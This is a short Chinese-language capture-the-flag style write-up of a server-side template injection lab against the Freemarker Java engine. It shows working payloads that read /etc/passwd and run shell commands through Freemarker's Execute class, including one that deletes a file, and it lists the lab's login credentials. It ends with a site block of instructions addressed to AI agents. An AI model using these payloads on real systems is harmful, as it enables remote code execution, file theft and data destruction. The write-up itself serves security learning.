> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-using-java-template-engine-documentation.md).
# 使用 Java 模板引擎文档进行 SSTI
### 使用文档进行服务器端模板注入
本实验存在一个漏洞 **SSTI**. 目标是识别所使用的模板引擎，查阅其文档以了解如何执行任意代码，然后删除 Carlos 目录中的 moral 文件。txt。/ 提供的凭据如下： **content-manager: C0nt3ntM4n4g3r**.
### **模板分析**
在注释中，引擎给出了一个表达式：
* 简单测试：
```java
${7*7}
```
* 错误信息显示所使用的引擎是 **Freemarker（Java）**.
* 一个新的表达式，例如 `${7*a}` 证实了对模板的解读。
```java
${7*a}
```
#### **文件读取**
要读取 /etc/passwd 文件，使用可通过该对象访问的方法：
```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```
#### **命令执行**
Freemarker 允许调用 `执行` 工具类：
```java
${"freemarker.template.utility.Execute"?new()("id")}
```
#### **删除目标文件**
要从 Carlos 目录中删除 moral.txt：
```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt") }
```
---
# Agent Instructions
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Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
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```
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